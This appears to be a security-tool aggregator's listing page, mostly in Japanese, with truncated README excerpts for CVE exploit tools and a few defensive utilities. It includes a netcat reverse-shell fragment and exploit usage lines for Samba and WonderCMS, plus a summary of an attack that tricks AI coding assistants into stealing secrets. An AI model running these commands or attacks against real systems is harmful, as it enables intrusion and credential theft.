CVE-2020-5902

CVE-2020-5902 エクスプロイトコード用の F5-Big-IP CVE-2020-5902 概要 BIG-IP バージョン 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1、および 11.6.1-11.6.5.1 において、Traffic Management User Interface TMUI（Configuration ユーティリティとも呼ばれる）に、非公開ページでのリモートコード実行 RCE の脆弱性が存在します。 概念実証 root@kitploit:...

CVE-2026-50055

cve-id 寄付 PayPalまたは以下のQRコードをスキャンして、このプロジェクトの保守を支援してください。 ⚡ シンプルな使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd プロジェクトは以下のPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate...

domi-owned

Domi-Owned Summary Domi-Owned is a tool used for compromising IBM/Lotus Domino servers. Tested on IBM/Lotus Domino 8.5.2, 8.5.3, 9.0.0, and 9.0.1 running on Windows and Linux. Requirements Domi-Owned uses Python 3, which can be install through your distribution's package manager apt, yum, etc...

ghostsplice

GhostSplice: チャネル横断型の信頼断片化（攻撃PoC） GhostSplice の概念実証コード。この攻撃は ASSET Research Group によるものです。詳細な解説は 「AIは秘密を盗むのを拒否した。そこで私たちはフォームを渡した」 をご覧ください。 わかりやすく言うと Cursor、VS Code（GitHub Copilot 付き）、Codex CLI、Claude Code などのAIコーディングアシスタントは、MCP （Model Context...

tiktok-scraper

TikTok Scraper & Downloader Scrape and download useful information from TikTok. No login or password are required This is not an official API support and etc. This is just a scraper that is using TikTok Web API to scrape media and related meta information. Content Features To Do Contribution...

NetAlertX v26.9.0

NetAlertX - Network Visibility & Asset Intelligence Framework 📷 Click for more screenshots | | ---|---|--- !presencehttps://assets.kitploit.com/production/public/readmes/295/d2773fcfbdc9d1a31a6e178016e1333b685afe85257bb3...

CVE-2025-3248

中文 ｜ English Langflow 脆弱性スキャナ Langflow アプリケーションにおける CVE-2025-3248 の脆弱性スキャナです。 特徴 FOFA を使用した単一ターゲットまたは複数ターゲットのスキャン 脆弱性のあるターゲット上でのシステムコマンド実行 システム情報の取得 カスタムペイロードのサポート FOFA スキャン用のプログレスバー 美しい CLI インターフェース インストール 1. リポジトリをクローンします: root@kitploit: git clone https://github.com/xuemian168/CVE-2025-3248.git...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 は、Pluck CMS v4.7.18 における RCE 脆弱性です。/inc/modulesinstall.php コンポーネントの任意ファイルアップロードの脆弱性により、悪意のある .zip ファイルをアップロードして任意のコードを実行できます。 使用方法 エクスプロイトを実行する前に、/login.php で認証するためのパスワードを知っておく必要があります。 ターゲットに対してエクスプロイトを実行します: root@kitploit: $ python3 exploit.py --target...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 は、Wonder CMS における反射型 XSS 脆弱性であり、installModule コンポーネントを介した悪意のあるスクリプトを通じて任意のコード実行を可能にします。 使用方法 ターゲットの loginURL に対してエクスプロイトを実行し、悪意のある .js ファイルをホストする Web サーバーの IP とポートを指定します: root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888...

WSUSResponder

🧰 WSUSResponder バージョン: 1.0.1 作成者: RZA / IT Operations ライセンス:MIT 🎯 目的 WSUSResponder モジュールは、Windows Server Update Services WSUS に影響を与える重大なリモートコード実行（RCE）脆弱性 CVE-2025-59287 に迅速に対応するための PowerShell ツール群を提供します。 以下のことが可能です： 🔍 Active Directory 環境または対象サーバーのリストをスキャン 🧩 脆弱な WSUS サーバーを特定 🛡️ Microsoft が公開した...

CVE-2026-20217

ZendTo 6.15-8 / ClamAV 正確プロファイル RCE と root 変種の再現 このディレクトリは、アカウント不要の ZendTo→ClamAV コード実行チェーンと、その別系統のデフォルトプロファイル Smarty/root-cron 継続に対する、スタンドアロンかつ認可済みラボ向けの再現バンドルです。含まれるもの: 実行可能な PoC 依存関係クロージャ一式 Docker ターゲットトポロジ構築用のスクリプトと来歴情報 試験済み systemd/socket ライフサイクルに一致する Docker Compose 定義...

CVE-2026-18504-CVE-2026-16732

cve-id 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください。 ローカル仮想マシン Dockerコンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual...

CVE-2026-69263

CVE 2026-69263 内容 CVE 2026-69263は、2025年8月に修正された旧RCE脆弱性のパッチバイパスです。このパッチは、任意のパッケージのインストールをブロックする拒否リストを導入しました。 方法 npmは環境変数から設定を読み取るため、環境変数 npmconfigyes=true を設定すると、ブロックされていた動作が再び有効になります。 影響 Flowise 3.1.1（報告時点での最新版）。3.1.3で修正済み。 PoC 以下のMCPサーバー構成は、CUSTOMMCPSECURITYCHECK=true を使用してパッチをバイパスします。...

code-shield

protocol-remediator C/C++ protocol・platformコードの脆弱性findingを再現可能な証拠として正規化し、 候補パッチを隔離されたコピーで検証するMVPである。code-shieldは名前衝突のリスクが 確認された作業名であるため、公開packageとCLIには中立的な内部名を使用した。 現在の実装の中心はパッチ生成モデルではなく、次の検証クローズドループである。 root@kitploit: sanitizer 또는 SARIF - Finding + EvidenceBundle - source context -...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2026-53595_exploit

CVE-2026-53595（+ CVE-2026-53593）— FreeScout 匿名ATO → RCE FreeScout ≤ 1.8.223 （Laravel製ヘルプデスク）における非認証のリモートコード実行。2つの欠陥を連鎖させることで実現するもので、いずれも1.8.224 で修正されています： CVE-2026-53595 — 匿名のアカウント乗っ取り 。POST /user-setup/hash/invitesentat は invitehash カラムのみでアカウントを特定します。 有効化済み ユーザーの invitehash は '' ですが、MySQL/MariaD...

certbot v5.8.0

.. This file contains a series of comments that are used to include sections of this README in other files. Do not modify these comments unless you know what you are doing. tag:intro-begin |build-status| .. |build-status| image::...

CVE-2024-23897

CVE-2024-23897 - Jenkins 任意ファイル読み取り エクスプロイトツール インストール CVE-2024-23897 のインストールには go 1.21 が必要です。以下のコマンドを実行してください。 root@kitploit: go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest または インストール済みのバイナリはreleaseからダウンロードできます macOS-arm64 macOS-amd64 linux-amd64 windows-amd64 windows-386 使...

log4noshell

Log4NoShell A Java Agent that disables Apache Log4J's JNDI Lookup to mitigate CVE-2021-44228 "Log4Shell". If possible, update your program to use the latest Log4J version, as the vulnerability is fixed as of version 2.17.1. Otherwise, download log4noshell-0.8.1.jar and continue reading. Usage To...

watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428

CVE-2025-4427 および CVE-2025-4428 Ivanti EPMM チェーン Ivanti EPMM 事前認証 RCE チェーン 1day 検出アーティファクト生成ツール 検出の動作 root@kitploit: $ python3 watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428.py -H https://192.168.1.100 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || ...